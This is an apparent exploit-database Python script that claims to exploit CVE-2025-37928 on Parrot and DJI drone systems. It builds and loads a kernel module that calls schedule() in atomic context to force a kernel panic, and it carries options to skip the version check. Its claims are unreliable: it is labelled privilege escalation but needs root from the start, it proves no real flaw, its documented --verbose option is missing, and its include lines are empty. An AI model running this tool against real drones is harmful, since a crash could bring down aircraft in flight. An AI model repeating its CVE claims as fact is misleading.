#!/usr/bin/env python3 # Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-06-10 # Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M # CVE: CVE-2025-37928 # Type: Local Privilege Escalation / Kernel Panic # Platform: Linux-based drone OS (Parrot and DJI variants) # Author Country: Jordan # CVSS v3.1 Score: 7.3 (Important) # Weakness: CWE-284: Improper Access Control # Attack Vector: Local # User Interaction: None # Scope: Unchanged # Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic) # Exploit Code Maturity: Proof of Concept # Remediation Level: Official Fix Available # # Description: # This PoC triggers a kernel panic by calling schedule() inside an atomic context, # exploiting CVE-2025-37928 present in certain Linux kernels running on # Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems. # # Steps of exploitation: # 1. Check if running as root. # 2. Verify kernel version vulnerability. # 3. Detect drone type from system files. # 4. Build and load vulnerable kernel module. # 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context. # # Affected Drone Versions: # - Parrot QRD # - Parrot Alpha-M (DT) # - DJI QRD # - DJI Alpha-M (DT) # # ------------------------------------------------------------------------------ # Usage: # sudo python3 cve_2025_37928_tool.py [OPTIONS] # # Options: # --dry-run Run detection & build only (no module loading) # --force Force exploit even if kernel not detected as vulnerable # --cleanup-only Remove the kernel module without triggering panic # --verbose Enable detailed logging and debug output # --help Show usage information # # Examples: # sudo python3 cve_2025_37928_tool.py --dry-run # sudo python3 cve_2025_37928_tool.py # sudo python3 cve_2025_37928_tool.py --force # sudo python3 cve_2025_37928_tool.py --cleanup-only # # Warning: # This PoC causes an immediate kernel panic. # Use it ONLY in isolated and controlled environments (e.g., lab tests). # ------------------------------------------------------------------------------ import os import sys import subprocess import tempfile import argparse import shutil import platform MODULE_NAME = "cve_2025_37928_poc" C_FILENAME = MODULE_NAME + ".c" KO_FILENAME = MODULE_NAME + ".ko" KERNEL_MODULE_CODE = r''' #include #include #include #include #include MODULE_LICENSE("GPL"); MODULE_AUTHOR("PoC Author"); MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic"); static void trigger_panic_tasklet(unsigned long data) { pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n"); schedule(); // This causes kernel panic } DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0); static int __init poc_init(void) { pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n"); tasklet_schedule(&my_tasklet); return 0; } static void __exit poc_exit(void) { tasklet_kill(&my_tasklet); pr_info("[CVE-2025-37928] PoC module unloaded\n"); } module_init(poc_init); module_exit(poc_exit); ''' MAKEFILE_CONTENT = f''' obj-m += {MODULE_NAME}.o all: \tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: \tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean ''' def check_root(): if os.geteuid() != 0: print("[-] Must be run as root.") sys.exit(1) def detect_kernel(): version = platform.release() vulnerable_versions = ["5.10", "5.15", "6.0"] vulnerable = any(v in version for v in vulnerable_versions) print(f"[i] Kernel version: {version} => {'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE'}") return vulnerable def detect_drone_type(): print("[*] Detecting drone type...") files = ["/etc/drone_type", "/proc/device-tree/model", "/sys/firmware/devicetree/base/model"] found = [] for path in files: if os.path.exists(path): try: with open(path, "r") as f: content = f.read().strip() if any(x in content for x in ["Parrot", "DJI"]): found.append(content) except: continue if found: for d in found: print(f" [i] Found: {d}") else: print(" [!] No drone ID found.") return found def write_module(tempdir): c_path = os.path.join(tempdir, C_FILENAME) makefile_path = os.path.join(tempdir, "Makefile") with open(c_path, "w") as f: f.write(KERNEL_MODULE_CODE) with open(makefile_path, "w") as f: f.write(MAKEFILE_CONTENT) return c_path def build_module(tempdir): print("[*] Building module...") result = subprocess.run(["make"], cwd=tempdir, capture_output=True, text=True) if result.returncode != 0: print("[-] Build failed:\n", result.stderr) sys.exit(1) print("[+] Build successful.") return os.path.join(tempdir, KO_FILENAME) def load_module(ko_path): print("[*] Loading kernel module...") result = subprocess.run(["insmod", ko_path], capture_output=True, text=True) if result.returncode != 0: print("[-] insmod failed:\n", result.stderr) sys.exit(1) print("[!] Module loaded. Kernel panic should occur if vulnerable.") def unload_module(): print("[*] Attempting to remove module...") subprocess.run(["rmmod", MODULE_NAME], stderr=subprocess.DEVNULL) print("[+] Module removal attempted.") def clean_build(tempdir): subprocess.run(["make", "clean"], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) def main(): parser = argparse.ArgumentParser(description="CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes") parser.add_argument("--dry-run", action="store_true", help="Only simulate and check environment, no exploitation") parser.add_argument("--force", action="store_true", help="Force execution even if version unknown") parser.add_argument("--cleanup-only", action="store_true", help="Just remove kernel module if loaded") args = parser.parse_args() check_root() if args.cleanup_only: unload_module() return vulnerable = detect_kernel() detect_drone_type() if not vulnerable and not args.force: print("[-] Kernel not identified as vulnerable. Use --force to override.") sys.exit(1) if args.dry_run: print("[*] Dry run mode. Exiting before exploitation.") return with tempfile.TemporaryDirectory() as tempdir: print(f"[*] Working directory: {tempdir}") write_module(tempdir) ko_path = build_module(tempdir) try: load_module(ko_path) except KeyboardInterrupt: print("[!] Interrupted. Attempting cleanup...") finally: unload_module() clean_build(tempdir) if __name__ == "__main__": main()